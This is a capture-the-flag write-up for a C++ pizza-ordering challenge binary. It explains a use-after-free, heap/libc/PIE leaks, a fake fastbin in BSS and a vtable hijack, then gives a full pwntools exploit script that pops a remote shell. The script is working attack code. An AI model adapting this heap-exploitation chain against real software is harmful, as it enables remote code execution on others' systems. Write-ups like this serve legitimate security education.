It's-a me!----------We're given an x64 Linux ELF, written in C++, with full RELRO, stack canaries, NX, and PIE. We can create users, order and cook pizzas and so on. To order pizzas, ingredients are specified using UTF-8 sequences. When cooking pizzas, we can specify an explanation, which will be allocated on the heap (with a dynamic size depending on the input size).
We notice that it is apparently impossible to order a pineapple pizza (sequence `\xf0\x9f\x8d\x8d`). However, we can order a pizza with ingredients `\xf0\xf0\xf0\x9f` and `\x8d\x8d`, which are valid sequences and will be concantenated when cooking, creating the pineapple ingredient. After cooking a pineapple pizza, Mario gets mad at us. We can log out, or edit our explanation (which logs us out afterwards). From the logged out menu, we can see the explanation we gave.
There is a use-after-free here. When cooking, if we carefully set up an order (e.g., 16 pineapple pizzas and 1 tomato pizza), we can make the program free the explanation buffer while keeping a pointer to it for editing and printing. Also, the editing size is fixed (300), while the actual size of the once-allocated explanation can vary, so there's an overflow, too (we didn't use it).
We first print out a freed explanation unsorted bin to leak the heap (there's another freed unsorted due to vector resizing). Then, we edit an unsorted bin's links to write `main_arena` into the explanation itself at the next `malloc`. By printing the explanation, we leak libc. Finally, we allocate and free an explanation with the same size as a pizza object, then get a pizza allocated in that free fastbin and leak the binary's base through the vtable pointer.
Then, we edit a fastbin-sized free explanation to link a fake fastbin in BSS, near the currently logged user pointer. After setting up a fake user and a bunch of related fake structures in buffers residing in BSS, we overwrite the current user with the fake one through the fake fastbin. Finally, the admire option in the user menu can be used to trigger a virtual method invocation on a fake pizza belonging to the fake user. The fake vtable of the pizza will call a onegadget, popping a shell.
Exploit:
```python#!/usr/bin/env python2
from pwn import *from pow import solve_pow
context(arch='x86_64', os='linux')
def pow_connect():    p.recvuntil('Challenge: ')    challenge = p.recvline().strip()    p.recvuntil('n: ')    n = int(p.recvline())    prog = log.progress('Solving PoW ({} {})'.format(challenge, n))    sol = solve_pow(challenge, n)    prog.success('found {}'.format(sol))    p.recvuntil('Solution: \n')    p.sendline(str(sol))
#context.log_level = 'debug'#p = process('./mario')p = remote('83b1db91.quals2018.oooverflow.io', 31337)pow_connect()
def menu(choice):    p.recvuntil('Choice: ')    p.sendline(choice)
# MAIN MENU
def new_customer(name):    menu('N')    p.recvuntil('name? ')    p.sendline(name)
def login(name):    menu('L')    p.recvuntil('name? ')    p.sendline(name)
def why_upset():    menu('W')    p.recvuntil('say: ')    tail = '\nniente scuse\n'    return p.recvuntil(tail)[:-len(tail)]
# USER MENU
def logout():    menu('L')
def order(pizzas):    menu('O')    p.recvuntil('pizzas? ')    p.sendline(str(len(pizzas)))    for pizza in pizzas:        p.recvuntil('ingredients? ')        p.sendline(str(len(pizza)))        for i in pizza:            p.recvuntil(': ')            p.sendline(i)
def cook(explanation=''):    menu('C')    p.recvuntil('explain: ')    p.sendline(explanation)
def admire():    menu('A')
def explain(explanation):    menu('P')    p.recvuntil('yourself: ')    p.sendline(explanation)
def go_away():    menu('Y')
TOMATO = '\xf0\x9f\x8d\x85'PINEAPPLE_PIZZA = ['\xf0\xf0\xf0\x9f', '\x8d\x8d']FREED_EXPLANATION_ORDER = [PINEAPPLE_PIZZA] * 16 + [[TOMATO]]
prog = log.progress('Leaking heap')# leak fd from unsorted bin through UAF# fd points to heap because the pizza vector reallocation freed# a (now) unsorted chunk before usnew_customer('heapleak')order(FREED_EXPLANATION_ORDER)cook('A' * 200)go_away()heap_leak = u64(why_upset().ljust(8, '\x00'))prog.success('~ 0x{:012x}'.format(heap_leak))
prog = log.progress('Leaking libc')# corrupt an explanation's unsorted fd to &explanation-0x10new_customer('libcleak')order(FREED_EXPLANATION_ORDER)cook('A' * 200)explain(p64(heap_leak + 0x4b0 - 0x10)[:6])# allocate a chunk to write main_arena to *(fd+0x10) -> explanationnew_customer('unsorted')logout()# leak main_arena through the explanationlibc_base = u64(why_upset().ljust(8, '\x00')) - 0x3c4c48prog.success('@ 0x{:012x}'.format(libc_base))
prog = log.progress('Leaking PIE ')# get a 0x40 free leakable explanation chunknew_customer('binleak')order(FREED_EXPLANATION_ORDER)cook('B' * 0x37)go_away()# allocate a bad pizza (0x40 chunk) over the explanationnew_customer('badpizza')order([['X']] * 10)cook()logout()# leak the binary through the bad pizza's vtable ptrbin_base = u64(why_upset().ljust(8, '\x00')) - 0x20bbe0prog.success('@ 0x{:012x}'.format(bin_base))
NAME_ADDR = bin_base + 0x20c5e0EXPLANATION_ADDR = bin_base + 0x20c480
prog = log.progress('Hijacking vtable')# link a fake 0x20 fastbin just before the upset and logged user ptrs in BSSFAKE_FAST_ADDR = EXPLANATION_ADDR + 0x120new_customer('fakefast')order(FREED_EXPLANATION_ORDER)cook('\x00'*0x128 + '\x21')explain(p64(FAKE_FAST_ADDR)[:6])# we lay out fake structures in the BSS name bufferUSER_ADDR = NAME_ADDR + 8PIZZA_PTR_ARRAY_ADDR = USER_ADDR + 0x48PIZZA_ADDR = PIZZA_PTR_ARRAY_ADDR + 8VTABLE_ADDR = PIZZA_ADDR + 0x18# fake vtable for a pizza, calls onegadget from admireONE_GADGET = libc_base + 0x4526avtable = p64(ONE_GADGET)# fake pizza, with our fake vtablepizza = p64(VTABLE_ADDR) + 'A'*16# fake array of pizzas, with our fake pizzapizza_ptr_array = p64(PIZZA_ADDR)# fake list for pizza_ptr_arraypizza_list  = p64(PIZZA_PTR_ARRAY_ADDR)   # begin ptrpizza_list += p64(PIZZA_PTR_ARRAY_ADDR+8) # end ptrpizza_list += '\x00'*8# fake user, with pizza_listuser  = '\x00'*(8+0x18+8) # name, uncooked pizzas, explanationuser += pizza_list        # list of cooked pizzasuser += '\x00'*8          # ensure invalid user flag = 0# throw everything into the BSS name buffer# strlen = 0 -> waste an 0x20 fastbin, bringing our fake fastbin to headnew_customer('\x00'*8 + user + pizza_ptr_array + pizza + vtable)# will allocate explanation on fake fastbin# overwrite logged user ptr with fake usercook('A'*8 + p64(USER_ADDR)[:6])# invoke onegadget via fake vtableadmire()prog.success('pwned!')
p.recvline()p.interactive()```